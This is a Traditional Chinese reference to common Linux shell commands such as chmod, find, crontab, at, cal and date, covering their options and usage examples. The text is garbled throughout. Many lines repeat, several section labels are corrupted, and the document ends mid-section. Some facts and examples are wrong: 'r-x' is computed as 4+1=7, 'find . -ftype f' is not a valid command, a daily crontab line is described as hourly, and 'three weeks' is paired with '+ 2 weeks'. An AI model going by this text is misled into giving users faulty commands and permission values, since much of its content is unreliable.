使用權限:所有使用者
使用方式:cat [-AbeEnstTuv] [–help] [–version] fileName
說明:把檔案串連接後傳到基本輸出(螢幕或加> fileName到另一個檔案)
參數:
-n或–number由1開始對所有輸出的行數編號
-b或–number-nonblank和-n相似,只不過對於空白行不編號
-b或–number-nonblank和-n相似,只不過對於空白行不編號
-s或–squeeze-blank當遇到有連續兩行以上的空白行,就代換為一行的空白
行
-v或–show-nonprinting
範例:
cat -n textfile1 > textfile2把textfile1的檔案內容加上行號後輸入
textfile2這個檔案裡
cat -b textfile1 textfile2 >> textfile3把textfile1和textfile2的檔
案內容加上行號(空白行不加)之後將內容附加到textfile3
名稱: cd
使用權限:所有使用者
使用方式: cd [dirName]
說明:變換工作目錄至dirName。其中dirName表示法可為絕對路徑或相對路
徑。若目錄名稱省略,則變換至使用者的home directory (也就是剛login時
所在的目錄)。
另外,”~”也表示為home directory的意思,”.”則是表示目前所在的目錄
,”..”則表示目前目錄位置的上一層目錄。
範例:跳到/usr/bin/ :
cd /usr/bin
跳到自己的home directory :
cd ~
跳到目前目錄的上上兩層:
cd ../..
cd ../..
指令名稱: chmod
使用權限:所有使用者
使用方式: chmod [-cfvR] [–help] [–version] mode file…
說明: Linux/Unix的檔案存取權限分為三級:檔案擁有者、群組、其他。利用
chmod可以藉以控制檔案如何被他人所存取。
把計:
mode :權限設定字串,格式如下: [ugoa…][[+-=][rwxX]…][,…],其中u
表示該檔案的擁有者,g表示與該檔案的擁有者屬於同一個群體(group)者,o表
示其他以外的人,a表示這三者皆是。
+表示增加權限、-表示取消權限、=表示唯一設定權限。
r表示可讀取,w表示可寫入,x表示可執行,X表示只有當該檔案是個子目錄
或者該檔案已經被設定過為可執行。
-c :若該檔案權限確實已經更改,才顯示其更改動作
-f :若該檔案權限無法被更改也不要顯示錯誤訊息
-v :顯示權限變更的詳細資料
-R :對目前目錄下的所有檔案與子目錄進行相同的權限變更(即以遞回的方式逐
個變更)
–help :顯示輔助說明
–version :顯示版本
範例:將檔案file1.txt設為所有人皆可讀取:
chmod ugo+r file1.txt
將檔案file1.txt設為所有人皆可讀取:
將檔案file1.txt設為所有人皆可讀取:
chmod a+r file1.txt
將檔案file1.txt與file2.txt設為該檔案擁有者,與其所屬同一個群體者可
寫入,但其他以外的人則不可寫入:
chmod ug+w,o-w file1.txt file2.txt
將ex1.py設定為只有該檔案擁有者可以執行:
chmod u+x ex1.py
將目前目錄下的所有檔案與子目錄皆設為任何人可讀取:
chmod -R a+r *
此外chmod也可以用數字來表示權限如chmod 777 file
語法為:chmod abc file
其中a,b,c各為一個數字,分別表示User、Group、及Other的權限。
r=4,w=2,x=1
若要rwx屬性則4+2+1=7;
若要rw-屬性則4+2=6;
若要r-x屬性則4+1=7。
範例:
chmod a=rwx file
和
chmod 777 file
效果相同
chmod ug=rwx,o=x file
和
和
chmod 771 file
效果相同
若用chmod 4755 filename可使此程式具有root的權限
指令名稱: chown
使用權限: root
使用方式: chmod [-cfhvR] [–help] [–version] user[:group] file…
說明: Linux/Unix是多人多工作業系統,所有的檔案皆有擁有者。利用chown
可以將檔案的擁有者加以改變。一般來說,這個指令只有是由系統管理者(root)
所使用,一般使用者沒有權限可以改變別人的檔案擁有者,也沒有權限可以自己
的檔案擁有者改設為別人。只有系統管理者(root)才有這樣的權限。
把計:
user :新的檔案擁有者的使用者IDgroup :新的檔案擁有者的使用者群
體(group)-c :若該檔案擁有者確實已經更改,才顯示其更改動作-f :若該檔案
擁有者無法被更改也不要顯示錯誤訊息-h :只對於連結(link)進行變更,而非該
link真正指向的檔案-v :顯示擁有者變更的詳細資料-R :對目前目錄下的所有
檔案與子目錄進行相同的擁有者變更(即以遞回的方式逐個變更)–help :顯示輔
助說明–version :顯示版本
範例:
將檔案file1.txt的擁有者設為users群體的使用者jessie :
chown jessie:users file1.txt
將目前目錄下的所有檔案與子目錄的擁有者皆設為users群體的使用者
lamport :
lamport :
chown -R lamport:users *
名稱:cp
使用權限:所有使用者
使用方式:
cp [options] source dest
cp [options] source… directory
說明:將一個檔案拷貝至另一檔案,或將數個檔案拷貝至另一目錄。
把計
-a盡可能將檔案狀態、權限等資料都照原狀予以復制。
-r若source中含有目錄名,則將目錄下之檔案亦皆依序拷貝至目的地。
-f若目的地已經有相同檔名的檔案存在,則在復制前先予以刪除再行複制。
範例:
將檔案aaa複製(已存在),並命名為bbb :
cp aaa bbb
將所有的C語言程式拷貝至Finished子目錄中:
cp *.c Finished
名稱:cut
使用權限:所有使用者
用法:cut -cnum1-num2 filename
說明:顯示每行從開頭算起num1到num2的文字。
範例:
shell>> cat example
shell>> cat example
test2
this is test1
shell>> cut -c0-6 example ## print開頭算起前6個字元
test2
this i
名稱: find
用法: find
使用說明:
將檔案系統內符合expression的檔案列出來。你可以指要檔案的名稱、類別、
時間、大小、權限等不同資訊的組合,只有完全相符的才會被列出來。
find根據下列規則判斷path和expression,在命令列上第一個- ( ) , !之
前的部份為path,之後的是expression。如果path是空字串則使用目前路徑
,如果expression是空字串則使用-print為預設expression
expression中可使用的選項有二三十個之多,在此只介紹最常用的部份。
-mount, -xdev :只檢查和指定目錄在同一個檔案系統下的檔案,避免列出其它
檔案系統中的檔案
-amin n :在過去n分鐘內被讀取過
-anewer file :比檔案file更晚被讀取過的檔案
-atime n :在過去n天過讀取過的檔案
-cmin n :在過去n分鐘內被修改過
-cnewer file :比檔案file更新的檔案
-ctime n :在過去n天過修改過的檔案
-ctime n :在過去n天過修改過的檔案
-empty :空的檔案-gid n or -group name : gid是n或是group名稱是
name
-ipath p, -path p :路徑名稱符合p的檔案,ipath會忽略大小寫
-name name, -iname name :檔案名稱符合name的檔案。 iname會忽略大小寫
-size n :檔案大小是n單位,b代表512位元組的區塊,c表示字元數,k
表示kilo bytes,w是二個位元組。 -type c :檔案類型是c的檔案。
d:目錄
c:字型裝置檔案
b:區塊裝置檔案
p:具名貯列
f:一般檔案
l:符號連結
s: socket
-pid n : process id是n的檔案
你可以使用( )將運算式分隔,並使用下列運算。
exp1 -and exp2
! expr
-not expr
exp1 -or exp2
exp1, exp2
範例:
將目前目錄及其子目錄下所有延伸檔名是c的檔案列出來。
將目前目錄及其子目錄下所有延伸檔名是c的檔案列出來。
# find . -name “*.c”
將目前目錄其其下子目錄中所有一般檔案列出
# find . -ftype f
將目前目錄及其子目錄下所有最近20分鐘內更新過的檔案列出
# find . -ctime -20
名稱:less
使用權限:所有使用者
使用方式:
less [Option] filename
說明:
less的作用與more十分相似,都可以用來瀏覽文字檔案的內容,不同的是
less允許使用者往回捲動
以瀏覽已經看過的部份,同時因為less並未在一開始就讀入整個檔案,因此在
遇上大型檔案的開啟時,會比一般的文書編輯器(如vi)來的快速。
範例:
指令名稱: ln
使用權限:所有使用者
使用方式: ln [options] source dist,其中option的格式為:
[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
[–help] [–version] [–]
說明: Linux/Unix檔案系統中,有所謂的連結(link),我們可以將其視為檔案
的別名,而連結又可分為兩種:硬連結(hard link)與軟連結(symbolic link),
的別名,而連結又可分為兩種:硬連結(hard link)與軟連結(symbolic link),
硬連結的意思是一個檔案可以有多個名稱,而軟連結的方式則是產生一個特殊的
檔案,該檔案的內容是指向另一個檔案的位置。硬連結是存在同一個檔案系統中
,而軟連結卻可以跨越不同的檔案系統。
ln source dist是產生一個連結(dist)到source,至於使用硬連結或軟鏈結則
由參數決定。
不論是硬連結或軟鏈結都不會將原本的檔案複製一份,只會佔用非常少量的磁碟
空間。
-f :鏈結時先將與dist同檔名的檔案刪除-d :允許系統管理者硬鏈結自己的
目錄-i :在刪除與dist同檔名的檔案時先進行詢問-n :在進行軟連結時,將
dist視為一般的檔案-s :進行軟鏈結(symbolic link)-v :在連結之前顯示其
檔名-b :將在鏈結時會被覆寫或刪除的檔案進行備份-S SUFFIX :將備份的檔案
都加上SUFFIX的字尾-V METHOD :指定備份的方式–help :顯示輔助說
明–version :顯示版本
範例:
將檔案yy產生一個symbolic link : zz
ln -s yy zz
將檔案yy產生一個hard link : zz
ln yy xx
名稱:locate
使用權限:所有使用者
使用方式: locate [-q] [-d ] [–database=]
locate [-r ] [–regexp=]
locate [-r ] [–regexp=]
locate [-qv] [-o ] [–output=]
locate [-e ] [-f ] <[-l ] [-c]
<[-U ] [-u]>
locate [-Vh] [–version] [–help]
說明:
locate讓使用者可以很快速的搜尋檔案系統內是否有指定的檔案。其方法是先建
立一個包括系統內所有檔案名稱及路徑的資料庫,之後當尋找時就只需查詢這個
資料庫,而不必實際深入檔案系統之中了。
在一般的distribution之中,資料庫的建立都被放在contab中自動執行。一
般使用者在使用時只要用
# locate your_file_name
的型式就可以了。參數:
-u
-U
建立資料庫,-u會由根目錄開始,-U則可以指定開始的位置。
-e
將
排除在尋找的範圍之外。
-l
如果是1.則啟動安全模式。在安全模式下,使用者不會看到權限無法看到的檔
案。這會始速度減慢,因為locate必須至實際的檔案系統中取得檔案的權限資
料。
料。
-f
將特定的檔案系統排除在外,例如我們沒有到理要把proc檔案系統中的檔案放
在資料庫中。
-q
安靜模式,不會顯示任何錯誤訊息。
-n
至多顯示個輸出。
-r
使用正規運算式做尋找的條件。
-o
指定資料庫存的名稱。
-d
指定資料庫的路徑
-h
顯示輔助訊息
-v
顯示更多的訊息
-V
顯示程式的版本訊息範例:
locate chdrv :尋找所有叫chdrv的檔案
locate -n 100 a.out :尋找所有叫a.out的檔案,但最多只顯示100個
locate -u :建立資料庫
locate -u :建立資料庫
名稱: ls
使用權限:所有使用者
使用方式: ls [-alrtAFR] [name…]
說明:顯示指定工作目錄下之內容(列出目前工作目錄所含之檔案及子目錄)。
-a顯示所有檔案及目錄(ls內定將檔案名或目錄名稱開頭為”.”的視為隱藏檔,
不會列出)
-l除檔案名稱外,亦將檔案型態、權限、擁有者、檔案大小等資訊詳細列出
-r將檔案以相反次序顯示(原定依英文字母次序)
-t將檔案依建立時間之先後次序列出
-A同-a ,但不列出”.” (目前目錄)及”..” (父目錄)
-F在列出的檔案名稱後加一符號;例如可執行檔則加”*”,目錄則加”/”
-R若目錄下有檔案,則以下之檔案亦皆依序列出
範例:
列出目前工作目錄下所有名稱是s開頭的檔案,愈新的排癒後面:
ls -ltr s*
將/bin目錄以下所有目錄及檔案詳細資料列出:
ls -lR /bin
列出目前工作目錄下所有檔案及目錄;目錄於名稱後加”/”,可執行檔於名稱後
加”*” :
ls -AF
名稱:more
使用權限:所有使用者
使用權限:所有使用者
使用方式:more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]
說明:類似cat ,不過會以一頁一頁的顯示方便使用者逐頁閱讀,而最基本的指
令就是按空白鍵(space)就往下一頁顯示,按b鍵就會往回(back)一頁顯示
,而且還有搜尋字串的功能(與vi相似),使用中的說明文件,請按h 。
參數:-num一次顯示的行數
-d提示使用者,在畫面下方顯示[Press space to continue, q to quit.] ,
如果使用者按錯鍵,則會顯示[Press h for instructions.]而不是嗶聲
-l取消遇見特殊字元^L(送紙字元)時會暫停的功能
-f計算行數時,以實際上的行數,而非自動換行過後的行數(有些單行字數太長
的會被擴展為兩行或兩行以上)
-p不以捲動的方式顯示每一頁,而是先清除螢幕後再顯示內容
-c跟-p相似,不同的是先顯示內容再清除其他舊資料
-s當遇到有連續兩行以上的空白行,就代換為一行的空白行
-u不顯示下引號(根據環境變數TERM指定的terminal而有所不同)
+/在每個檔案顯示前搜尋該字串(pattern),然後從該字串之後開始顯示
+num從第num行開始顯示
fileNames欲顯示內容的檔案,可為複數個數
範例:
more -s testfile逐頁顯示testfile之檔案內容,如有連續兩行以上空白行則
以一行空白行顯示。
more +20 testfile從第20行開始顯示testfile之檔案內容。
名稱:mv
使用權限:所有使用者
使用方式:
mv [options] source dest
mv [options] source… directory
說明:將一個檔案移至另一檔案,或將數個檔案移至另一目錄。
參數:-i若目的地已有同名檔案,則先詢問是否覆蓋舊檔。
範例:
將檔案aaa更名為bbb :
mv aaa bbb
將所有的C語言程式移至Finished子目錄中:
mv -i *.c
名稱:rm
使用權限:所有使用者
使用方式:rm [options] name…
說明:刪除檔案及目錄。
把計
-i刪除前逐一詢問確認。
-f即使原檔案屬性設為唯讀,亦直接刪除,無需逐一確認。
-r將目錄及以下之檔案亦逐一刪除。
範例:
刪除所有C語言程式檔;刪除前逐一詢問確認:
rm -i *.c
rm -i *.c
將Finished子目錄及子目錄中所有檔案刪除:
rm -r Finished
名稱:rmdir
使用權限:於目前目錄有適當權限的所有使用者
使用方式: rmdir [-p] dirName
說明:刪除空的目錄。
參數: -p是當子目錄被刪除後使它也成為空目錄的話,則順便一併刪除。
範例:
將工作目錄下,名為AAA的子目錄刪除:
rmdir AAA
在工作目錄下的BBB目錄中,刪除名為Test的子目錄。若Test刪除後,BBB
目錄成為空目錄,則BBB亦予刪除。
rmdir -p BBB/Test
名稱:split
使用權限:所有使用者
使用方式:split [OPTION] [INPUT [PREFIX]]
說明:
將一個檔案分割成數個。而從INPUT分割輸出成固定大小的檔案,其檔名依序為
PREFIXaa, PREFIXab…;PREFIX預設值為`x。若沒有INPUT檔或為`-,則從
標準輸入讀進資料。
匡兜
-b, –bytes=SIZE
-b, –bytes=SIZE
SIZE值為每一輸出檔案的大小,單位為byte。
-C, –line-bytes=SIZE
每一輸出檔中,單行的最大byte數。
-l, –lines=NUMBER
NUMBER值為每一輸出檔的列數大小。
-NUMBER
與-l NUMBER相同。
–verbose
於每個輸出檔被開啟前,列印出偵錯資訊到標準錯誤輸出。
–help
顯示輔助資訊然後離開。
–version
列出版本資訊然後離開。
SIZE可加入單位: b代表512, k代表1K, m代表1 Meg。
範例:
PostgresSQL大型資料庫備份與回存:
因Postgres允許表格大過你係統檔案的最大容量,所以要將表格dump到單一
的檔案可能會有問題,使用split進行檔案分割。
% pg_dump dbname | split -b 1m – filename.dump.
重新載入
% createdb dbname
% cat filename.dump.* | pgsql dbname
% cat filename.dump.* | pgsql dbname
名稱:touch
使用權限:所有使用者
使用方式:
touch [-acfm]
[-r reference-file] [–file=reference-file]
[-t MMDDhhmm[[CC]YY][.ss]]
[-d time] [–date=time] [–time={atime,access,use,mtime,modify}]
[–no-create] [–help] [–version]
file1 [file2 …]
說明:
touch指令改變檔案的時間記錄。 ls -l可以顯示檔案的時間記錄。
參數:
a改變檔案的讀取時間記錄。
m改變檔案的修改時間記錄。
c假如目的檔案不存在,不會建立新的檔案。與–no-create的效果一樣。
f不使用,是為了與其他unix系統的相容性而保留。
r使用參考檔的時間記錄,與–file的效果一樣。
d設定時間與日期,可以使用各種不同的格式。
t設定檔案的時間記錄,格式與date指令相同。
–no-create不會建立新檔案。
–help列出指令格式。
–version列出版本訊息。
–version列出版本訊息。
範例:
最簡單的使用方式,將檔案的時候記錄改為現在的時間。若檔案不存在,系統會
建立一個新的檔案。
touch file
touch file1 file2
將file的時間記錄改為5月6日18點3分,公元兩千年。時間的格式可以
參考date指令,至少需輸入MMDDHHmm ,就是月日時與分。
touch -c -t 05061803 file
touch -c -t 050618032000 file
將file的時間記錄改變成與referencefile一樣。
touch -r referencefile file
將file的時間記錄改成5月6日18點3分,公元兩千年。時間可以使用
am, pm或是24小時的格式,日期可以使用其他格式如6 May 2000 。
touch -d “6:03pm” file
touch -d “05/06/2000” file
touch -d “6:03pm 05/06/2000” file
名稱: at
使用權限:所有使用者
使用方式: at -V [-q queue] [-f file] [-mldbv] TIME
說明: at可以讓使用者指定在TIME這個特定時刻執行某個程式或指令,TIME
的格式是HH:MM其中的HH為小時,MM為分鐘,甚至你也可以指定am, pm,
midnight, noon, teatime(就是下午4點鍾)等口語詞。
midnight, noon, teatime(就是下午4點鍾)等口語詞。
如果想要指定超過一天內的時間,則可以用MMDDYY或者MM/DD/YY的格式,其
中MM是分鐘,DD是第幾日,YY是指年份。另外,使用者甚至也可以使用像是
now +時間間隔來彈性指定時間,其中的時間間隔可以是minutes, hours,
days, weeks
另外,使用者也可指定today或tomorrow來表示今天或明天。當指定了時間並
按下enter之後,at會進入交談模式並要求輸入指令或程式,當你輸入完後按
下ctrl+D即可完成所有動作,至於執行的結果將會寄回你的帳號中。
把計:
-V :印出版本編號
-q :使用指定的佇列(Queue)來儲存,at的資料是存放在所謂的queue中,使
用者可以同時使用多個queue,而queue的編號為a, b, c… z以及A, B,
… Z共52個
-m :即使程式/指令執行完成後沒有輸出結果,也要寄封信給使用者
-f file :讀入預先寫好的命令檔。使用者不一定要使用交談模式來輸入,可以
先將所有的指定先寫入檔案後再一次讀入
-l :列出所有的指定(使用者也可以直接使用atq而不用at -l)
-d :刪除指定(使用者也可以直接使用atrm而不用at -d)
-v :列出所有已經完成但尚未刪除的指定
例子:
三天后的下午5點鍾執行/bin/ls :
at 5pm + 3 days /bin/ls
三個星期後的下午5點鍾執行/bin/ls :
三個星期後的下午5點鍾執行/bin/ls :
at 5pm + 2 weeks /bin/ls
明天的17:20執行/bin/date :
at 17:20 tomorrow /bin/date
1999年的最後一天的最後一分鐘印出the end of world !
at 23:59 12/31/1999 echo the end of world !
名稱:cal
使用權限:所有使用者
使用方式:cal [-mjy] [month [year]]
說明:
顯示日曆。若只有一個參數,則代表年份(1-9999),顯示該年的年曆。年份必須
全部寫出:“cal 89將不會是顯示1989年的年曆。使用兩個參數,則表示月份
及年份。若沒有參數則顯示這個月的月曆。
1752年9月第3日起改用西洋新歷,因這時大部份的國家都採用新歷,有10
天被去除,所以該月份的月曆有些不同。在此之前為西洋舊曆。
匡兜
-m :以星期一為每週的第一天方式顯示。
-j :以凱撒歷顯示,即以一月一日起的天數顯示。
-y :顯示今年年曆。
範例:
cal :顯示本月的月曆。
[root@mylinux /root]# date
Tue Aug 15 08:00:18 CST 2000
Tue Aug 15 08:00:18 CST 2000
[root@mylinux /root]# cal
August 2000
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
[root@mylinux /root]#
cal 2001 :顯示公元2001年年曆。
[root@mylinux /root]# cal 2001
2001
January February March
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1 2 3
7 8 9 10 11 12 13 4 5 6 7 8 9 10 4 5 6 7 8 9 10
14 15 16 17 18 19 20 11 12 13 14 15 16 17 11 12 13 14 15 16 17
21 22 23 24 25 26 27 18 19 20 21 22 23 24 18 19 20 21 22 23 24
28 29 30 31 25 26 27 28 25 26 27 28 29 30 31
April May June
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 5 1 2
1 2 3 4 5 6 7 1 2 3 4 5 1 2
8 9 10 11 12 13 14 6 7 8 9 10 11 12 3 4 5 6 7 8 9
15 16 17 18 19 20 21 13 14 15 16 17 18 19 10 11 12 13 14 15 16
22 23 24 25 26 27 28 20 21 22 23 24 25 26 17 18 19 20 21 22 23
29 30 27 28 29 30 31 24 25 26 27 28 29 30
July August September
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 1
8 9 10 11 12 13 14 5 6 7 8 9 10 11 2 3 4 5 6 7 8
15 16 17 18 19 20 21 12 13 14 15 16 17 18 9 10 11 12 13 14 15
22 23 24 25 26 27 28 19 20 21 22 23 24 25 16 17 18 19 20 21 22
29 30 31 26 27 28 29 30 31 23 24 25 26 27 28 29
30
October November December
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1
7 8 9 10 11 12 13 4 5 6 7 8 9 10 2 3 4 5 6 7 8
14 15 16 17 18 19 20 11 12 13 14 15 16 17 9 10 11 12 13 14 15
21 22 23 24 25 26 27 18 19 20 21 22 23 24 16 17 18 19 20 21 22
28 29 30 31 25 26 27 28 29 30 23 24 25 26 27 28 29
30 31
[root@mylinux /root]#
cal 5 2001 :顯示公元2001年5月月曆。
cal 5 2001 :顯示公元2001年5月月曆。
[root@mylinux /root]# cal 5 2001
May 2001
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
[root@mylinux /root]#
cal -m :以星期一為每週的第一天方式,顯示本月的月曆。
[root@mylinux /root]# cal -m
August 2000
Mo Tu We Th Fr Sa Su
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
[root@mylinux /root]#
cal -jy :以一月一日起的天數顯示今年的年曆。
[root@mylinux /root]# cal -jy
2000
2000
January February
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
1 32 33 34 35 36
2 3 4 5 6 7 8 37 38 39 40 41 42 43
9 10 11 12 13 14 15 44 45 46 47 48 49 50
16 17 18 19 20 21 22 51 52 53 54 55 56 57
23 24 25 26 27 28 29 58 59 60
30 31
March April
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
61 62 63 64 92
65 66 67 68 69 70 71 93 94 95 96 97 98 99
72 73 74 75 76 77 78 100 101 102 103 104 105 106
79 80 81 82 83 84 85 107 108 109 110 111 112 113
86 87 88 89 90 91 114 115 116 117 118 119 120
121
May June
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
122 123 124 125 126 127 153 154 155
128 129 130 131 132 133 134 156 157 158 159 160 161 162
135 136 137 138 139 140 141 163 164 165 166 167 168 169
142 143 144 145 146 147 148 170 171 172 173 174 175 176
142 143 144 145 146 147 148 170 171 172 173 174 175 176
149 150 151 152 177 178 179 180 181 182
July August
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
183 214 215 216 217 218
184 185 186 187 188 189 190 219 220 221 222 223 224 225
191 192 193 194 195 196 197 226 227 228 229 230 231 232
198 199 200 201 202 203 204 233 234 235 236 237 238 239
205 206 207 208 209 210 211 240 241 242 243 244
212 213
September October
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
245 246 275 276 277 278 279 280 281
247 248 249 250 251 252 253 282 283 284 285 286 287 288
254 255 256 257 258 259 260 289 290 291 292 293 294 295
261 262 263 264 265 266 267 296 297 298 299 300 301 302
268 269 270 271 272 273 274 303 304 305
November December
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
306 307 308 309 336 337
310 311 312 313 314 315 316 338 339 340 341 342 343 344
317 318 319 320 321 322 323 345 346 347 348 349 350 351
324 325 326 327 328 329 330 352 353 354 355 356 357 358
324 325 326 327 328 329 330 352 353 354 355 356 357 358
331 332 333 334 335 359 360 361 362 363 364 365
366
名稱: crontab
使用權限:所有使用者
使用方式:
crontab [ -u user ] filecrontab [ -u user ] { -l | -r | -e }
說明:
crontab是用來讓使用者在固定時間或固定間隔執行程式之用,換句話說,也就
是類似使用者的時程表。 -u user是指設定指定user的時程表,這個前提是你
必須要有其權限(比如說是root)才能夠指定他人的時程表。如果不使用-u
user的話,就是表示設定自己的時程表。
餐數:
-e :執行文字編輯器來設定時程表,內定的文字編輯器是VI,如果你想用別的
文字編輯器,則請先設定VISUAL環境變數來指定使用那個文字編輯器(比如說
setenv VISUAL joe)
-r :刪除目前的時程表
-l :列出目前的時程表
時程表的格式如下:
f1 f2 f3 f4 f5 program
其中f1是表示分鐘,f2表示小時,f3表示一個月份中的第幾日,f4表示月份
,f5表示一個星期中的第幾天。 program表示要執行的程式。
,f5表示一個星期中的第幾天。 program表示要執行的程式。
當f1為*時表示每分鐘都要執行program,f2為*時表示每小時都要執行程
式,其餘類推
當f1為ab時表示從第a分鐘到第b分鐘這段時間內要執行,f2為ab時
表示從第a到第b小時都要執行,其餘類推
當f1為*/n時表示每n分鐘個時間間隔執行一次,f2為*/n表示每n小時
個時間間隔執行一次,其餘類推
當f1為a, b, c,…時表示第a, b, c,…分鐘要執行,f2為a, b,
c,…時表示第a, b, c…個小時要執行,其餘類推
使用者也可以將所有的設定先存放在檔案file中,用crontab file的方式來
設定時程表。
例子:
每月每天每小時的第0分鐘執行一次/bin/ls :
0 7 * * * /bin/ls
在12月內,每天的早上6點到12點中,每隔20分鐘執行一次
/usr/bin/backup :
0 6-12/3 * 12 * /usr/bin/backup
週一到週五每天下午5:00寄一封信給alex@domain.name :
0 17 * * 1-5 mail -s “hi” alex@domain.name < /tmp/maildata
每月每天的午夜0點20分, 2點20分, 4點20分….執行echo “haha”
20 0-23/2 * * * echo “haha”
注意:
當程式在你所指定的時間執行後,系統會寄一封信給你,顯示該程式執行的內容
當程式在你所指定的時間執行後,系統會寄一封信給你,顯示該程式執行的內容
,若是你不希望收到這樣的信,請在每一行空一格之後加上> /dev/null 2>&1
即可。
名稱: date
使用權限:所有使用者
使用方式:
date [-u] [-d datestr] [-s datestr] [–utc] [–universal]
[–date=datestr] [–set=datestr] [–help] [–version] [+FORMAT]
[MMDDhhmm[[CC]YY][.ss]]
說明:
date可以用來顯示或設定係統的日期與時間,在顯示方面,使用者可以設定欲顯
示的格式,格式設定為一個加號後接數個標記,其中可用的標記列表如下:
時間方面:
% :印出%
%n :下一行
%t :跳格
%H :小時(00..23)
%I :小時(01..12)
%k :小時(0..23)
%l :小時(1..12)
%M :分鐘(00..59)
%p :顯示本地AM或PM
%r :直接顯示時間(12小時制,格式為hh:mm:ss [AP]M)
%r :直接顯示時間(12小時制,格式為hh:mm:ss [AP]M)
%s :從1970年1月1日00:00:00 UTC到目前為止的秒數
%S :秒(00..61)
%T :直接顯示時間(24小時制)
%X :相當於%H:%M:%S
%Z :顯示時區
日期方面:
%a :星期幾(Sun..Sat)
%A :星期幾(Sunday..Saturday)
%b :月份(Jan..Dec)
%B :月份(January..December)
%c :直接顯示日期與時間
%d :日(01..31)
%D :直接顯示日期(mm/dd/yy)
%h :同%b
%j :一年中的第幾天(001..366)
%m :月份(01..12)
%U :一年中的第幾週(00..53) (以Sunday為一周的第一天的情形)
%w :一周中的第幾天(0..6)
%W :一年中的第幾週(00..53) (以Monday為一周的第一天的情形)
%x :直接顯示日期(mm/dd/yy)
%y :年份的最後兩位數字(00.99)
%Y :完整年份(0000..9999)
%Y :完整年份(0000..9999)
若是不以加號作為開頭,則表示要設定時間,而時間格式為
MMDDhhmm[[CC]YY][.ss],其中MM為月份,DD為日,hh為小時,mm為分鐘
,CC為年份前兩位數字,YY為年份後兩位數字,ss為秒數
把計:
-d datestr :顯示datestr中所設定的時間(非系統時間)
–help :顯示輔助訊息
-s datestr :將系統時間設為datestr中所設定的時間
-u :顯示目前的格林威治時間
–version :顯示版本編號
例子:
顯示時間後跳行,再顯示目前日期:
date +%T%n%D
顯示月份與日數:
date +%B %d
顯示日期與設定時間(12:34:56) :
date –date 12:34:56
注意:
當你不希望出現無意義的0時(比如說1999/03/07),則可以在標記中插入-符
號,比如說date +%-H:%-M:%-S會把時分秒中無意義的0給去掉,像是原本的
08:09:04會變為8:9:4。另外,只有取得權限者(比如說root)才能設定係統時
間。
當你以root身分更改了系統時間之後,請記得以clock -w來將系統時間寫入
當你以root身分更改了系統時間之後,請記得以clock -w來將系統時間寫入
CMOS中,這樣下次重新開機時系統時間才會持續抱持最新的正確值。
名稱: sleep
使用權限:所有使用者
使用方式: sleep [–help] [–version] number[smhd]
說明: sleep可以用來將目前動作延遲一段時間
參數說明:
–help :顯示輔助訊息
–version :顯示版本編號
number :時間長度,後面可接s、m、h或d
其中s為秒,m為分鐘,h為小時,d為日數
例子:
顯示目前時間後延遲1分鐘,之後再次顯示時間:
date;sleep 1m;date
名稱: time
使用權限:所有使用者
使用方式: time [options] COMMAND [arguments]
說明: time指令的用途,在於量測特定指令執行時所需消耗的時間及系統資源
等資訊。例如CPU時間、記憶體、輸入輸出等等。需要特別注意的是,部分資訊
在Linux上顯示不出來。這是因為在Linux上部分資源的分配函式與time指
令所預設的方式並不相同,以致於time指令無法取得這些資料。
把計
-o or –output=FILE
-o or –output=FILE
設定結果輸出檔。這個選項會將time的輸出寫入所指定的檔案中。如果檔案已
經存在,系統將覆寫其內容。
-a or –append
配合-o使用,會將結果寫到檔案的末端,而不會覆蓋掉原來的內容。
-f FORMAT or –format=FORMAT
以FORMAT字串設定顯示方式。當這個選項沒有被設定的時候,會用系統預設的
格式。不過你可以用環境變數time來設定這個格式,如此一來就不必每次登入
系統都要設定一次。
一般設定上,你可以用
t
表示跳欄,或者是用
n
表示換行。每一項資料要用%做為前導。如果要在字串中使用百分比符號,就用
。 (學過C語言的人大概會覺得很熟悉)
time指令可以顯示的資源有四大項,分別是:
Time resources
Memory resources
IO resources
Command info
詳細的內容如下:
Time Resources
E執行指令所花費的時間,格式是:[hour]:minute:second。請注意這個數字並
E執行指令所花費的時間,格式是:[hour]:minute:second。請注意這個數字並
不代表實際的CPU時間。
e執行指令所花費的時間,單位是秒。請注意這個數字並不代表實際的CPU時間
。
S指令執行時在核心模式(kernel mode)所花費的時間,單位是秒。
U指令執行時在使用者模式(user mode)所花費的時間,單位是秒。
P執行指令時CPU的佔用比例。其實這個數字就是核心模式加上使用者模式的
CPU時間除以總時間。
Memory Resources
M執行時所佔用的實體記憶體的最大值。單位是KB
t執行時所佔用的實體記憶體的平均值,單位是KB
K執行程序所佔用的記憶體總量(stack+data+text)的平均大小,單位是KB
D執行程序的自有資料區(unshared data area)的平均大小,單位是KB
p執行程序的自有堆疊(unshared stack)的平均大小,單位是KB
X執行程序間共享內容(shared text)的平均值,單位是KB
Z系統記憶體頁的大小,單位是byte。對同一個系統來說這是個常數
IO Resources
